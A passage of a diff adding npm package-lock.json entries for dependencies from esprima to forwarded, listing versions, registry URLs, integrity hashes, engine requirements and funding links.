"^1.1.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.4.0.tgz", + "integrity": "sha512-cCDispWt5vHHtwMY2YrAQ4ibFkAL8RbH5YGBnZBc90MolvvfkkQcJro/aZiAQUlQ3qgrYS6D6v8Gc5G5CQsc9w==", + "dev": true, + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "dev": true + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/execa/node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/execa/node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/execa/node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/execa/node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/execa/node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/execa/node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/execall": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/execall/-/execall-2.0.0.tgz", + "integrity": "sha512-0FU2hZ5Hh6iQnarpRtQurM/aAvp3RIbfvgLHrcqJYzhXyV2KFruhuChf9NC6waAhiUR7FFtlugkI4p7f2Fqlow==", + "dev": true, + "dependencies": { + "clone-regexp": "^2.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/express": { + "version": "4.17.3", + "resolved": "https://registry.npmjs.org/express/-/express-4.17.3.tgz", + "integrity": "sha512-yuSQpz5I+Ch7gFrPCk4/c+dIBKlQUxtgwqzph132bsT6qhuzss6I8cLJQz7B3rFblzd6wtcI0ZbGltH/C4LjUg==", + "dev": true, + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.19.2", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.4.2", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "~1.1.2", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "~1.1.2", + "fresh": "0.5.2", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.7", + "qs": "6.9.7", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.17.2", + "serve-static": "1.14.2", + "setprototypeof": "1.2.0", + "statuses": "~1.5.0", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express/node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=", + "dev": true + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/express/node_modules/path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=", + "dev": true + }, + "node_modules/express/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true + }, + "node_modules/external-editor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", + "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", + "dev": true, + "dependencies": { + "chardet": "^0.7.0", + "iconv-lite": "^0.4.24", + "tmp": "^0.0.33" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/fast-glob": { + "version": "3.2.11", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", + "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=" + }, + "node_modules/fastest-levenshtein": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/fastest-levenshtein/-/fastest-levenshtein-1.0.12.tgz", + "integrity": "sha512-On2N+BpYJ15xIC974QNVuYGMOlEVt4s0EOI3wwMqOmK1fdDY+FN/zltPV8vosq4ad4c/gJ1KHScUn/6AWIgiow==", + "dev": true + }, + "node_modules/fastparse": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/fastparse/-/fastparse-1.1.2.tgz", + "integrity": "sha512-483XLLxTVIwWK3QTrMGRqUfUpoOs/0hbQrl2oz4J0pAcm3A3bu84wxTFqGqkJzewCLdME38xJLJAxBABfQT8sQ==", + "dev": true + }, + "node_modules/fastq": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", + "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", + "dev": true, + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/faye-websocket": { + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "dev": true, + "dependencies": { + "websocket-driver": ">=0.5.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/fbjs": { + "version": "0.8.18", + "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.18.tgz", + "integrity": "sha512-EQaWFK+fEPSoibjNy8IxUtaFOMXcWsY0JaVrQoZR9zC8N2Ygf9iDITPWjUTVIax95b6I742JFLqASHfsag/vKA==", + "dependencies": { + "core-js": "^1.0.0", + "isomorphic-fetch": "^2.1.1", + "loose-envify": "^1.0.0", + "object-assign": "^4.1.0", + "promise": "^7.1.1", + "setimmediate": "^1.0.5", + "ua-parser-js": "^0.7.30" + } + }, + "node_modules/fbjs/node_modules/core-js": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-1.2.7.tgz", + "integrity": "sha1-ZSKUwUZR2yj6k70tX/KYOk8IxjY=", + "deprecated": "core-js@<3.4 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Please, upgrade your dependencies to the actual version of core-js." + }, + "node_modules/fetch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fetch/-/fetch-1.1.0.tgz", + "integrity": "sha1-CoJ58Gvjf58Ou1Z1YKMKSA2lmi4=", + "dependencies": { + "biskviit": "1.0.1", + "encoding": "0.1.12" + } + }, + "node_modules/figures": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz", + "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==", + "dev": true, + "dependencies": { + "escape-string-regexp": "^1.0.5" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/file-entry-cache": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-5.0.1.tgz", + "integrity": "sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==", + "dev": true, + "dependencies": { + "flat-cache": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/file-saver": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.5.tgz", + "integrity": "sha512-P9bmyZ3h/PRG+Nzga+rbdI4OEpNDzAVyy74uVO9ATgzLK6VtAsYybF/+TOCvrc0MO793d6+42lLyZTw7/ArVzA==" + }, + "node_modules/filepond": { + "version": "4.30.3", + "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.30.3.tgz", + "integrity": "sha512-G2b1LEe90Sq2vH0SYDASTB+vVU735NBctzIaFPlZtb14QAgi/AL89WyQ6LhTfqgyrMyuZur2O9yHAmzS2E9ZnA==" + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", + "dev": true, + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "statuses": "~1.5.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/find-cache-dir": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "dev": true, + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/avajs/find-cache-dir?sponsor=1" + } + }, + "node_modules/find-cache-dir/node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/find-root": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", + "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" + }, + "node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/flat-cache": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz", + "integrity": "sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==", + "dev": true, + "dependencies": { + "flatted": "^2.0.0", + "rimraf": "2.6.3", + "write": "1.0.3" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/flat-cache/node_modules/rimraf": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", + "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/flatted": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-2.0.2.tgz", + "integrity": "sha512-r5wGx7YeOwNWNlCA0wQ86zKyDLMQr+/RB8xy74M4hTphfmjlijTSSXGuH8rnvKZnfT9i+75zmd8jcKdMR4O6jA==", + "dev": true + }, + "node_modules/follow-redirects": { + "version": "1.14.9", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.9.tgz", + "integrity": "sha512-MQDfihBQYMcyy5dhRDJUHcw7lb2Pv/TuE6xP1vyraLukNDHKbDxDNaOE3NbCAdKQApno+GPRyo1YAp89yCjK4w==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/font-awesome": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/font-awesome/-/font-awesome-4.7.0.tgz", + "integrity": "sha1-j6jPBBGhoxr9B7BtKQK7n8gVoTM=", + "engines": { + "node": ">=0.10.3" + } + }, + "node_modules/fork-ts-checker-webpack-plugin": { + "version": "7.2.4", + "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-7.2.4.tgz", + "integrity": "sha512-wVN8w0aGiiF4/1o0N5VPeh+PCs4OMg8VzKiYc7Uw7e2VmTt8JuKjEc2/uvd/VfG0Ux+4WnxMncSRcZpXAS6Fyw==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.16.7", + "chalk": "^4.1.2", + "chokidar": "^3.5.3", + "cosmiconfig": "^7.0.1", + "deepmerge": "^4.2.2", + "fs-extra": "^10.0.0", + "memfs": "^3.4.1", + "minimatch": "^3.0.4", + "schema-utils": "^3.1.1", + "semver": "^7.3.5", + "tapable": "^2.2.1" + }, + "engines": { + "node": ">=12.13.0", + "yarn": ">=1.0.0" + }, + "peerDependencies": { + "typescript": ">3.6.0", + "vue-template-compiler": "*", + "webpack": "^5.11.0" + }, + "peerDependenciesMeta": { + "vue-template-compiler": { + "optional": true + } + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/cosmiconfig": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz", + "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==", + "dev": true, + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/fs-extra": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.0.1.tgz", + "integrity": "sha512-NbdoVMZso2Lsrn/QwLXOy6rm0ufY2zEOKCDzJR/0kBsb0E6qed0P3iYK+Ath3BfvXEeu4JhEtXLgILx5psUfag==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/lru-cache": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.8.1.tgz", + "integrity": "sha512-E1v547OCgJvbvevfjgK9sNKIVXO96NnsTsFPBlg4ZxjhsJSODoH9lk8Bm0OxvHNm6Vm5Yqkl/1fErDxhYL8Skg==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/semver": { + "version": "7.3.6", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.6.tgz", + "integrity": "sha512-HZWqcgwLsjaX1HBD31msI/rXktuIhS+lWvdE4kN9z+8IVT4Itc7vqU2WvYsyD6/sjYCt4dEKH/m1M3dwI9CC5w==", + "dev": true, + "dependencies": { + "lru-cache": "^7.4.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": "^10.0.0 || ^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": 